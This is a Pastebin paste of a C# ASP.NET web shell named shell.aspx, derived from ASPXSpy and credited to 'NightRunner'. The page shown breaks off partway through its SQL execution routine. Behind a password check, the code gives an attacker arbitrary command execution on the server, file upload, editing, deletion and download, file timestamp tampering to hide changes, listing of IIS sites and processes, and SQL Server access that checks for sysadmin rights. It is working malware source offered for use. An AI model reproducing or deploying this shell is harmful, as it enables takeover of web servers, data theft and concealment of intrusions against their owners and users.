Advertisement
nguyendangnghia

shell.aspx

Dec 2nd, 2017
1,483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.85 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="System.Data" %>
  5. <%@ import Namespace="System.Data.OleDb" %>
  6. <%@ import Namespace="Microsoft.Win32" %>
  7. <%@ import Namespace="System.Net.Sockets" %>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11.  
  12. <script runat="server">
  13. /*
  14. ======
  15.  
  16. Code by NightRunner
  17.  
  18. Make in Vietnam
  19.  
  20. ____H4____
  21.  
  22. E-mail : hacker.nightrunner@gmail.com
  23. */
  24. public string Password="081322851bd264a2702f1169aad42129";
  25. public string SessionName="ASPXSpy";
  26. public string cookiePass="ASPXSpyCookiePass";
  27. public string Bin_Action="";
  28. public string Bin_Request="";
  29. protected OleDbConnection conn=new OleDbConnection();
  30. protected OleDbCommand comm=new OleDbCommand();
  31.  
  32. protected void Page_Load(object sender, EventArgs e)
  33. {
  34. //string strkey;
  35. bool isCookied=false;
  36. HttpCookieCollection cookiecoll=Request.Cookies;
  37. foreach (string strkey in cookiecoll.AllKeys)
  38. {
  39. if (strkey==cookiePass)
  40. {
  41. if (cookiecoll[strkey].Value==Password)
  42. {
  43. isCookied=true;
  44. }
  45. break;
  46. }
  47. }
  48. if((Session[SessionName] !="BIN")&&(!isCookied))
  49. {
  50. Bin_login();
  51. }
  52. else
  53. {
  54. if(!IsPostBack)
  55. {
  56. Bin_main();
  57. }
  58. else
  59. {
  60.  
  61. Bin_Action=Request["goaction"];
  62. if(Bin_Action=="del")
  63. {
  64. Bin_Request=Request["todo"];
  65. Bin_Filedel(Bin_Request, 1);
  66. }
  67. if(Bin_Action=="change")
  68. {
  69. Bin_Request=Request["todo"];
  70. Bin_FileList(Bin_Request);
  71. }
  72. if(Bin_Action=="deldir")
  73. {
  74. Bin_Request=Request["todo"];
  75. Bin_Filedel(Bin_Request, 2);
  76. }
  77. if(Bin_Action=="down")
  78. {
  79. Bin_Request=Request["todo"];
  80. Bin_Filedown(Bin_Request);
  81. }
  82. if(Bin_Action=="rename")
  83. {
  84. Bin_Request=Request["todo"];
  85. Bin_FileRN(Bin_Request, 1);
  86. }
  87. if(Bin_Action=="renamedir")
  88. {
  89. Bin_Request=Request["todo"];
  90. Bin_FileRN(Bin_Request, 2);
  91. }
  92. if(Bin_Action=="showatt")
  93. {
  94. Bin_Request=Request["todo"];
  95. Bin_Fileatt(Bin_Request);
  96. }
  97. if(Bin_Action=="edit")
  98. {
  99. Bin_Request=Request["todo"];
  100. Bin_FileEdit(Bin_Request);
  101. }
  102. if(Bin_Action=="postdata")
  103. {
  104.  
  105. Bin_Request=Request["todo"];
  106. Session["Bin_Table"]=Bin_Request;
  107. Bin_DataGrid.CurrentPageIndex=0;
  108. Bin_DBstrTextBox.Text="";
  109. Bin_Databind();
  110. }
  111. if(Bin_Action=="changedata")
  112. {
  113. Session["Bin_Table"]=null;
  114. Bin_Request=Request["todo"];
  115. Session["Bin_Option"]=Request["intext"];
  116. Bin_Change();
  117. Bin_DBinfoLabel.Visible=false;
  118. Bin_DBstrTextBox.Text=Bin_Request;
  119.  
  120. }
  121. if(Session["Bin_Table"] !=null)
  122. {
  123. Bin_Databind();
  124. }
  125.  
  126. }
  127. }
  128. }
  129. public void Bin_login()
  130. {
  131. Bin_LoginPanel.Visible=true;
  132. Bin_MainPanel.Visible=false;
  133. Bin_MenuPanel.Visible=false;
  134. Bin_FilePanel.Visible=false;
  135. Bin_CmdPanel.Visible=false;
  136. Bin_SQLPanel.Visible=false;
  137. Bin_SuPanel.Visible=false;
  138. Bin_IISPanel.Visible=false;
  139. Bin_PortPanel.Visible=false;
  140. Bin_RegPanel.Visible=false;
  141. }
  142. public void Bin_main()
  143. {
  144. TimeLabel.Text=DateTime.Now.ToString();
  145. Bin_PortPanel.Visible=false;
  146. Bin_RegPanel.Visible=false;
  147. Bin_LoginPanel.Visible=false;
  148. Bin_MainPanel.Visible=true;
  149. Bin_MenuPanel.Visible=true;
  150. Bin_FilePanel.Visible=false;
  151. Bin_CmdPanel.Visible=false;
  152. Bin_SQLPanel.Visible=false;
  153. Bin_SuPanel.Visible=false;
  154. Bin_IISPanel.Visible=false;
  155. string ServerIP="Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  156. string HostName="HostName : "+Environment.MachineName+"<br>";
  157. string OS="OS Version : "+Environment.OSVersion+"</br>";
  158. string IISversion="IIS Version : "+Request.ServerVariables["SERVER_SOFTWARE"]+"<br>";
  159. string PATH_INFO="PATH_TRANSLATED : "+Request.ServerVariables["PATH_TRANSLATED"]+"<br>";
  160. InfoLabel.Text="<hr><center><b><U>SYS-INFO</U></B></center>";
  161. InfoLabel.Text+=ServerIP+HostName+OS+IISversion+PATH_INFO+"<hr>";
  162. InfoLabel.Text+=Bin_Process()+"<hr>";
  163.  
  164. }
  165. private bool CheckIsNumber(string sSrc)
  166. {
  167. System.Text.RegularExpressions.Regex reg=new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  168.  
  169. if(reg.IsMatch(sSrc))
  170. {
  171. return true;
  172. }
  173. else
  174. {
  175. return false;
  176. }
  177. }
  178. public string Bin_iisinfo()
  179. {
  180. string iisinfo="";
  181. string iisstart="";
  182. string iisend="";
  183. string iisstr="IIS://localhost/W3SVC";
  184. int i=0;
  185. try
  186. {
  187. DirectoryEntry mydir=new DirectoryEntry(iisstr);
  188. iisstart="<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  189. foreach(DirectoryEntry child in mydir.Children)
  190. {
  191. if(CheckIsNumber(child.Name.ToString()))
  192. {
  193. string dirstr=child.Name.ToString();
  194. string tmpstr="";
  195. DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+dirstr);
  196. DirectoryEntry newdir1=newdir.Children.Find("root", "IIsWebVirtualDir");
  197. iisinfo+="<TR><TD align=center>"+(i=i+1)+"</TD>";
  198. iisinfo+="<TD align=center>"+newdir1.Properties["AnonymousUserName"].Value+"</TD>";
  199. iisinfo+="<TD>"+child.Properties["ServerBindings"][0]+"</TD>";
  200. iisinfo+="<TD><a href=javascript:Command('change','"+formatpath(newdir1.Properties["Path"].Value.ToString())+"');>"+newdir1.Properties["Path"].Value+"</a></TD>";
  201. iisinfo+="</TR>";
  202. }
  203. }
  204. iisend="</TABLE><hr>";
  205. }
  206. catch(Exception error)
  207. {
  208. Bin_Error(error.Message);
  209. }
  210. return iisstart+iisinfo+iisend;
  211. }
  212. public string Bin_Process()
  213. {
  214. string htmlstr="<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  215. string prostr="";
  216. string htmlend="</TR></TABLE>";
  217. try
  218. {
  219. Process[] myprocess=Process.GetProcesses();
  220. foreach(Process p in myprocess)
  221. {
  222. prostr+="<TR><TD align=center>"+p.Id.ToString()+"</TD>";
  223. prostr+="<TD align=left>"+p.ProcessName.ToString()+"</TD>";
  224. prostr+="<TD align=left>"+p.WorkingSet.ToString()+"</TD>";
  225. prostr+="<TD align=center>"+p.Threads.Count.ToString()+"</TD>";
  226. }
  227. }
  228. catch(Exception Error)
  229. {
  230. Bin_Error(Error.Message);
  231. }
  232. return htmlstr+prostr+htmlend;
  233. }
  234. protected void LoginButton_Click(object sender, EventArgs e)
  235. {
  236. string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  237. if(MD5Pass==Password)
  238. {
  239. Session[SessionName]="BIN";
  240. Response.Cookies.Add(new HttpCookie(cookiePass,Password));
  241. Bin_main();
  242. }
  243. else
  244. {
  245. Bin_login();
  246. }
  247. }
  248.  
  249. protected void LogoutButton_Click(object sender, EventArgs e)
  250. {
  251. Session.Abandon();
  252. Response.Cookies.Add(new HttpCookie(cookiePass,null));
  253. Bin_login();
  254. }
  255.  
  256. protected void FileButton_Click(object sender, EventArgs e)
  257. {
  258. Bin_LoginPanel.Visible=false;
  259. Bin_MenuPanel.Visible=true;
  260. Bin_MainPanel.Visible=false;
  261. Bin_FilePanel.Visible=true;
  262. Bin_CmdPanel.Visible=false;
  263. Bin_SQLPanel.Visible=false;
  264. Bin_SuPanel.Visible=false;
  265. Bin_IISPanel.Visible=false;
  266. Bin_PortPanel.Visible=false;
  267. Bin_RegPanel.Visible=false;
  268. Bin_upTextBox.Text=formatpath(Server.MapPath("."));
  269. Bin_CopyTextBox.Text=formatpath(Server.MapPath("."));
  270. Bin_upTextBox.Text=formatpath(Server.MapPath("."));
  271. Bin_FileList(Server.MapPath("."));
  272.  
  273. }
  274.  
  275. protected void MainButton_Click(object sender, EventArgs e)
  276. {
  277. Bin_main();
  278. }
  279. public void Bin_DriveList()
  280. {
  281. string file="<input type=hidden name=goaction><input type=hidden name=todo>";
  282. file+="<hr>Drives : ";
  283. string[] drivers=Directory.GetLogicalDrives();
  284. for(int i=0; i < drivers.Length; i++)
  285. {
  286. file+="<a href=javascript:Command('change','"+formatpath(drivers[i])+"');>"+drivers[i]+"</a>&nbsp;";
  287. }
  288. file+=" WebRoot : <a href=javascript:Command('change','"+formatpath(Server.MapPath("."))+"');>"+Server.MapPath(".")+"</a>";
  289. Bin_FileLabel.Text=file;
  290. }
  291.  
  292. public void Bin_FileList(string Bin_path)
  293. {
  294. Bin_FilePanel.Visible=true;
  295. Bin_CreateTextBox.Text="";
  296. Bin_CopytoTextBox.Text="";
  297. Bin_CopyTextBox.Text=Bin_path;
  298. Bin_upTextBox.Text=Bin_path;
  299. Bin_IISPanel.Visible=false;
  300. Bin_DriveList();
  301. string tmpstr="";
  302. string Bin_Filelist=Bin_FilelistLabel.Text;
  303. Bin_Filelist="<hr>";
  304. Bin_Filelist+="<table width=90% border=0 align=center>";
  305. Bin_Filelist+="<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  306. Bin_Filelist+="<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  307. try
  308. {
  309. Bin_Filelist+="<tr><td>";
  310. string parstr="";
  311. if(Bin_path.Length < 4)
  312. {
  313. parstr=formatpath(Bin_path);
  314.  
  315. }
  316. else
  317. {
  318. parstr= formatpath(Directory.GetParent(Bin_path).ToString());
  319.  
  320. }
  321. Bin_Filelist+="<i><b><a href=javascript:Command('change','"+parstr+"');>|Parent Directory|</a></b></i>";
  322. Bin_Filelist+="</td></tr>";
  323.  
  324. DirectoryInfo Bin_dir=new DirectoryInfo(Bin_path);
  325. foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  326. {
  327. string foldername=formatpath(Bin_path)+"/"+formatfile(Bin_folder.Name);
  328. tmpstr+="<tr>";
  329. tmpstr+="<td><a href=javascript:Command('change','"+foldername+"')>"+Bin_folder.Name+"</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>"+Directory.GetLastWriteTime(Bin_path+"/"+Bin_folder.Name)+"</td><td><a href=javascript:Command('renamedir','"+foldername+"');>Ren</a>|<a href=javascript:Command('showatt','"+foldername+"/');>Att</a>|<a href=javascript:Command('deldir','"+foldername+"');>Del</a></td>";
  330. tmpstr+="</tr>";
  331. }
  332. foreach(FileInfo Bin_file in Bin_dir.GetFiles())
  333. {
  334. string filename=formatpath(Bin_path)+"/"+formatfile(Bin_file.Name);
  335. tmpstr+="<tr>";
  336. tmpstr+="<td>"+Bin_file.Name+"</td><td>"+Bin_file.Length+"</td><td>"+Directory.GetLastWriteTime(Bin_path+"/"+Bin_file.Name)+"</td><td><a href=javascript:Command('edit','"+filename+"');>Edit</a>|<a href=javascript:Command('rename','"+filename+"');>Ren</a>|<a href=javascript:Command('down','"+filename+"');>Down</a>|<a href=javascript:Command('showatt','"+filename+"');>Att</a>|<a href=javascript:Command('del','"+filename+"');>Del</a></td>";
  337. tmpstr+="</tr>";
  338. }
  339. tmpstr+="</talbe>";
  340. }
  341. catch(Exception Error)
  342. {
  343. Bin_Error(Error.Message);
  344.  
  345. }
  346.  
  347. Bin_FilelistLabel.Text=Bin_Filelist+tmpstr;
  348. }
  349. public void Bin_Filedel(string instr,int type)
  350. {
  351. try
  352. {
  353. if(type==1)
  354. {
  355. File.Delete(instr);
  356. }
  357. if(type==2)
  358. {
  359. foreach(string tmp in Directory.GetFileSystemEntries(instr))
  360. {
  361. if(File.Exists(tmp))
  362. {
  363. File.Delete(tmp);
  364. }
  365. else
  366. {
  367. Bin_Filedel(tmp, 2);
  368. }
  369. }
  370. Directory.Delete(instr);
  371. }
  372. }
  373. catch(Exception Error)
  374. {
  375. Bin_Error(Error.Message);
  376. }
  377. Bin_FileList(Bin_upTextBox.Text);
  378. }
  379. public void Bin_FileRN(string instr,int type)
  380. {
  381. try
  382. {
  383. if(type==1)
  384. {
  385. string[] array=instr.Split(',');
  386.  
  387. File.Move(array[0], array[1]);
  388. }
  389. if(type==2)
  390. {
  391. string[] array=instr.Split(',');
  392. Directory.Move(array[0], array[1]);
  393. }
  394. }
  395. catch(Exception Error)
  396. {
  397. Bin_Error(Error.Message);
  398. }
  399. Bin_FileList(Bin_upTextBox.Text);
  400. }
  401. public void Bin_Filedown(string instr)
  402. {
  403. try
  404. {
  405. FileStream MyFileStream=new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  406. long FileSize=MyFileStream.Length;
  407. byte[] Buffer=new byte[(int)FileSize];
  408. MyFileStream.Read(Buffer, 0,(int)FileSize);
  409. MyFileStream.Close();
  410. Response.AddHeader("Content-Disposition", "attachment;filename="+instr);
  411. Response.Charset="UTF-8";
  412. Response.ContentType="application/octet-stream";
  413. Response.BinaryWrite(Buffer);
  414. Response.Flush();
  415. Response.End();
  416. }
  417. catch(Exception Error)
  418. {
  419. Bin_Error(Error.Message);
  420. }
  421.  
  422. }
  423. public void Bin_Fileatt(string instr)
  424. {
  425. Bin_AttPanel.Visible=true;
  426. Bin_FilePanel.Visible=true;
  427. try
  428. {
  429. string Att=File.GetAttributes(instr).ToString();
  430. Bin_ReadOnlyCheckBox.Checked=false;
  431. Bin_SystemCheckBox.Checked=false;
  432. Bin_HiddenCheckBox.Checked=false;
  433. Bin_ArchiveCheckBox.Checked=false;
  434.  
  435. if(Att.LastIndexOf("ReadOnly")!=-1)
  436. {
  437. Bin_ReadOnlyCheckBox.Checked=true;
  438. }
  439. if(Att.LastIndexOf("System")!=-1)
  440. {
  441. Bin_SystemCheckBox.Checked=true;
  442. }
  443. if(Att.LastIndexOf("Hidden")!=-1)
  444. {
  445. Bin_HiddenCheckBox.Checked=true;
  446. }
  447. if(Att.LastIndexOf("Archive")!=-1)
  448. {
  449. Bin_ArchiveCheckBox.Checked=true;
  450. }
  451. Bin_CreationTimeTextBox.Text=File.GetCreationTime(instr).ToString();
  452. Bin_LastWriteTimeTextBox.Text=File.GetLastWriteTime(instr).ToString();
  453. Bin_AccessTimeTextBox.Text=File.GetLastAccessTime(instr).ToString();
  454. }
  455. catch(Exception Error)
  456. {
  457. Bin_Error(Error.Message);
  458. }
  459. Bin_AttLabel.Text=instr;
  460. Session["FileName"]=instr;
  461. Bin_DriveList();
  462. }
  463. public void Bin_FileEdit(string instr)
  464. {
  465. Bin_FilePanel.Visible=true;
  466. Bin_EditPanel.Visible=true;
  467. Bin_DriveList();
  468. Bin_EditpathTextBox.Text=instr;
  469. StreamReader SR=new StreamReader(instr, Encoding.Default);
  470. Bin_EditTextBox.Text=SR.ReadToEnd();
  471. SR.Close();
  472. }
  473. protected void Bin_upButton_Click(object sender, EventArgs e)
  474. {
  475.  
  476. string uppath=Bin_upTextBox.Text;
  477. if(uppath.Substring(uppath.Length - 1, 1)!=@"/")
  478. {
  479. uppath=uppath+@"/";
  480. }
  481. try
  482. {
  483. Bin_UpFile.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_UpFile.Value));
  484.  
  485. }
  486. catch(Exception error)
  487. {
  488. Bin_Error(error.Message);
  489. }
  490. Bin_FileList(uppath);
  491. }
  492. public void Bin_Error(string error)
  493. {
  494. Bin_ErrorLabel.Text="Error : "+error;
  495. }
  496. public string formatpath(string instr)
  497. {
  498. instr=instr.Replace(@"\", "/");
  499. if(instr.Length < 4)
  500. {
  501. instr=instr.Replace(@"/", "");
  502. }
  503. if(instr.Length==2)
  504. {
  505. instr=instr+@"/";
  506. }
  507. instr=instr.Replace(" ", "%20");
  508. return instr;
  509. }
  510. public string formatfile(string instr)
  511. {
  512. instr=instr.Replace(" ", "%20");
  513. return instr;
  514.  
  515. }
  516. protected void Bin_GoButton_Click(object sender, EventArgs e)
  517. {
  518. Bin_FileList(Bin_upTextBox.Text);
  519. }
  520.  
  521. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  522. {
  523. string newfile=Bin_CreateTextBox.Text;
  524. string filepath=Bin_upTextBox.Text;
  525. filepath=filepath+"/"+newfile;
  526. try
  527. {
  528. StreamWriter sw=new StreamWriter(filepath, true, Encoding.Default);
  529.  
  530. }
  531. catch(Exception Error)
  532. {
  533. Bin_Error(Error.Message);
  534. }
  535. Bin_FileList(Bin_upTextBox.Text);
  536. }
  537.  
  538. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  539. {
  540. string dirpath=Bin_upTextBox.Text;
  541. string newdir=Bin_CreateTextBox.Text;
  542. newdir=dirpath+"/"+newdir;
  543. try
  544. {
  545. Directory.CreateDirectory(newdir);
  546.  
  547. }
  548. catch(Exception Error)
  549. {
  550. Bin_Error(Error.Message);
  551. }
  552. Bin_FileList(Bin_upTextBox.Text);
  553. }
  554.  
  555. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  556. {
  557. string copystr=Bin_CopyTextBox.Text;
  558. string copyto=Bin_CopytoTextBox.Text;
  559. try
  560. {
  561. File.Copy(copystr, copyto);
  562. }
  563. catch(Exception Error)
  564. {
  565. Bin_Error(Error.Message);
  566. }
  567. Bin_CopytoTextBox.Text="";
  568. Bin_FileList(Bin_upTextBox.Text);
  569. }
  570.  
  571. protected void Bin_CutButton_Click(object sender, EventArgs e)
  572. {
  573. string copystr=Bin_CopyTextBox.Text;
  574. string copyto=Bin_CopytoTextBox.Text;
  575. try
  576. {
  577. File.Move(copystr, copyto);
  578. }
  579. catch(Exception Error)
  580. {
  581. Bin_Error(Error.Message);
  582. }
  583. Bin_CopytoTextBox.Text="";
  584. Bin_FileList(Bin_upTextBox.Text);
  585. }
  586.  
  587. protected void Bin_SetButton_Click(object sender, EventArgs e)
  588. {
  589. try
  590. {
  591. string FileName=Session["FileName"].ToString();
  592. File.SetAttributes(FileName, FileAttributes.Normal);
  593. if(Bin_ReadOnlyCheckBox.Checked)
  594. {
  595. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  596. }
  597.  
  598. if(Bin_SystemCheckBox.Checked)
  599. {
  600. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.System);
  601. }
  602. if(Bin_HiddenCheckBox.Checked)
  603. {
  604. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.Hidden);
  605. }
  606. if(Bin_ArchiveCheckBox.Checked)
  607. {
  608. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.Archive);
  609. }
  610. if(FileName.Substring(FileName.Length - 1, 1)=="/")
  611. {
  612. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  613. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  614. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  615. }
  616. else
  617. {
  618. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  619. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  620. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  621. }
  622. }
  623. catch(Exception Error)
  624. {
  625. Bin_Error(Error.Message);
  626. }
  627. Bin_FileList(Bin_upTextBox.Text);
  628. Response.Write("<script>alert('Success!')</sc"+"ript>");
  629. }
  630.  
  631. protected void Bin_EditButton_Click(object sender, EventArgs e)
  632. {
  633. try
  634. {
  635. StreamWriter SW=new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  636. SW.Write(Bin_EditTextBox.Text);
  637. SW.Close();
  638. }
  639. catch(Exception Error)
  640. {
  641. Bin_Error(Error.Message);
  642. }
  643. Bin_FileList(Bin_upTextBox.Text);
  644. Response.Write("<script>alert('Success!')</sc"+"ript>");
  645.  
  646. }
  647.  
  648. protected void Bin_BackButton_Click(object sender, EventArgs e)
  649. {
  650. Bin_FileList(Bin_upTextBox.Text);
  651. }
  652.  
  653. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  654. {
  655. Bin_FileList(Bin_upTextBox.Text);
  656. }
  657.  
  658. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  659. {
  660. Bin_MenuPanel.Visible=true;
  661. Bin_LoginPanel.Visible=false;
  662. Bin_CmdPanel.Visible=true;
  663. Bin_SQLPanel.Visible=false;
  664. Bin_CmdLabel.Text="";
  665. Bin_SuPanel.Visible=false;
  666. Bin_IISPanel.Visible=false;
  667. Bin_RegPanel.Visible=false;
  668. Bin_PortPanel.Visible=false;
  669. }
  670.  
  671. protected void Bin_RunButton_Click(object sender, EventArgs e)
  672. {
  673. try
  674. {
  675. Process Cmdpro=new Process();
  676. Cmdpro.StartInfo.FileName=Bin_CmdPathTextBox.Text;
  677. Cmdpro.StartInfo.Arguments=Bin_CmdShellTextBox.Text;
  678. Cmdpro.StartInfo.UseShellExecute=false;
  679. Cmdpro.StartInfo.RedirectStandardInput=true;
  680. Cmdpro.StartInfo.RedirectStandardOutput=true;
  681. Cmdpro.StartInfo.RedirectStandardError=true;
  682. Cmdpro.Start();
  683. string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
  684. cmdstr=cmdstr.Replace("<", "&lt;");
  685. cmdstr=cmdstr.Replace(">", "&gt;");
  686. Bin_CmdLabel.Text="<hr><div id=\"cmd\"><pre>"+cmdstr+"</pre></div>";
  687. }
  688. catch(Exception Error)
  689. {
  690. Bin_Error(Error.Message);
  691. }
  692. }
  693.  
  694. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  695. {
  696. Bin_CmdPanel.Visible=false;
  697. Bin_SQLPanel.Visible=true;
  698. Bin_LoginPanel.Visible=false;
  699. Bin_MenuPanel.Visible=true;
  700. Bin_AccPanel.Visible=false;
  701. Bin_Scroll.Visible=false;
  702. Bin_DBmenuPanel.Visible=false;
  703. Bin_dirPanel.Visible=false;
  704. Bin_SuPanel.Visible=false;
  705. Bin_IISPanel.Visible=false;
  706. Bin_PortPanel.Visible=false;
  707. Bin_RegPanel.Visible=false;
  708. }
  709.  
  710. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  711. {
  712. Session["Bin_Table"]=null;
  713. Bin_SQLconnTextBox.Text="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  714. Bin_SQLRadioButton.Checked=true;
  715. Bin_AccRadioButton.Checked=false;
  716. Bin_AccPanel.Visible=false;
  717. Bin_DataGrid.Visible=false;
  718. Bin_Scroll.Visible=false;
  719. Bin_DBmenuPanel.Visible=false;
  720. Bin_dirPanel.Visible=false;
  721. }
  722.  
  723. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  724. {
  725. Session["Bin_Table"]=null;
  726. Bin_SQLconnTextBox.Text=@"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  727. Bin_SQLRadioButton.Checked=false;
  728. Bin_AccRadioButton.Checked=true;
  729. Bin_DBmenuPanel.Visible=false;
  730. Bin_AccPanel.Visible=false;
  731. Bin_DataGrid.Visible=false;
  732. Bin_Scroll.Visible=false;
  733. Bin_dirPanel.Visible=false;
  734.  
  735. }
  736. protected void OpenConnection()
  737. {
  738. if(conn.State==ConnectionState.Closed)
  739. {
  740. try
  741. {
  742. conn.ConnectionString=Bin_SQLconnTextBox.Text;
  743. comm.Connection=conn;
  744. conn.Open();
  745. }
  746. catch(Exception Error)
  747. {
  748. Bin_Error(Error.Message);
  749. }
  750. }
  751. }
  752. protected void CloseConnection()
  753. {
  754. if(conn.State==ConnectionState.Open)
  755. conn.Close();
  756. conn.Dispose();
  757. comm.Dispose();
  758. }
  759. public DataTable Bin_DataTable(string sqlstr)
  760. {
  761. OleDbDataAdapter da=new OleDbDataAdapter();
  762. DataTable datatable=new DataTable();
  763. try
  764. {
  765. OpenConnection();
  766. comm.CommandType=CommandType.Text;
  767. comm.CommandText=sqlstr;
  768. da.SelectCommand=comm;
  769. da.Fill(datatable);
  770. }
  771. catch(Exception)
  772. {
  773. }
  774. finally
  775. {
  776. CloseConnection();
  777. }
  778. return datatable;
  779. }
  780. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  781. {
  782. try
  783. {
  784. Session["Bin_Table"]=null;
  785. Bin_DataGrid.CurrentPageIndex=0;
  786. Bin_DataGrid.AllowPaging=true;
  787. if(Bin_SQLRadioButton.Checked)
  788. {
  789. Bin_DBmenuPanel.Visible=true;
  790. Bin_DBinfoLabel.Visible=true;
  791. Bin_AccPanel.Visible=false;
  792. Bin_Scroll.Visible=false;
  793. Bin_dirPanel.Visible=false;
  794. OpenConnection();
  795. DataTable ver=Bin_DataTable(@"SELECT @@VERSION");
  796. DataTable dbs=Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  797. DataTable cdb=Bin_DataTable(@"SELECT DB_NAME()");
  798. DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  799. DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  800. string dbo="";
  801. if(owner.Rows[0][0].ToString()=="1")
  802. {
  803. dbo="db_owner";
  804. }
  805. else
  806. {
  807. dbo="public";
  808. }
  809. if(rol.Rows[0][0].ToString()=="1")
  810. {
  811. dbo="<font color=blue>sa</font>";
  812. }
  813. string db_info="";
  814. db_info="<i><b><font color=red>SQLversion</font> : </b></i>"+ver.Rows[0][0].ToString()+"<br><hr>";
  815. string db_name="";
  816. for(int i=0; i < dbs.Rows.Count; i++)
  817. {
  818. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";
  819. }
  820. db_info+="<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">"+db_name+"<br><div><hr>";
  821. db_info+="<i><b><font color=red>SRVROLEMEMBER</font></i></b> : "+dbo+"<hr>";
  822. Bin_DBinfoLabel.Text=db_info;
  823. }
  824. if(Bin_AccRadioButton.Checked)
  825. {
  826. Bin_DataGrid.Visible=false;
  827. Bin_SAexecButton.Visible=false;
  828. Bin_Accbind();
  829. }
  830. }
  831. catch(Exception E)
  832. {
  833. Bin_Error(E.Message);
  834. }
  835. }
  836. protected void Bin_Accbind()
  837. {
  838. try
  839. {
  840. Bin_DBmenuPanel.Visible=false;
  841. Bin_AccPanel.Visible=true;
  842. OpenConnection();
  843. DataTable acctable=new DataTable();
  844. acctable=conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  845. string accstr="<input type=hidden name=goaction><input type=hidden name=todo>";
  846. accstr+="Tables Count : "+acctable.Rows.Count+"<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  847. for(int i=0; i < acctable.Rows.Count; i++)
  848. {
  849. accstr+="<option value="+acctable.Rows[i].ItemArray[2].ToString()+">"+acctable.Rows[i].ItemArray[2].ToString()+"</option>";
  850. }
  851. if(Session["Bin_Table"] !=null)
  852. {
  853. accstr+="<option SELECTED>"+Session["Bin_Table"]+"</option>";
  854. }
  855. accstr+="</SELECT>";
  856. Bin_AccinfoLabel.Text=accstr;
  857. CloseConnection();
  858. }
  859. catch(Exception Error)
  860. {
  861. Bin_Error(Error.Message);
  862. }
  863. }
  864. protected void Bin_Databind()
  865. {
  866. try
  867. {
  868. Bin_SAexecButton.Visible=false;
  869. Bin_Accbind();
  870. Bin_Scroll.Visible=true;
  871. if(Bin_SQLRadioButton.Checked)
  872. {
  873. Bin_DBmenuPanel.Visible=true;
  874. Bin_DBinfoLabel.Visible=false;
  875. }
  876. Bin_DataGrid.Visible=true;
  877. DataTable databind=Bin_DataTable(@"SELECT * FROM "+Session["Bin_Table"]);
  878. Bin_DataGrid.DataSource=databind;
  879. Bin_DataGrid.DataBind();
  880. }
  881. catch(Exception Error)
  882. {
  883.  
  884. Bin_Error(Error.Message);
  885. }
  886. }
  887.  
  888. public void Bin_ExecSql(string instr)
  889. {
  890. try
  891. {
  892. OpenConnection();
  893. comm.CommandType=CommandType.Text;
  894. comm.CommandText=instr;
  895. comm.ExecuteNonQuery();
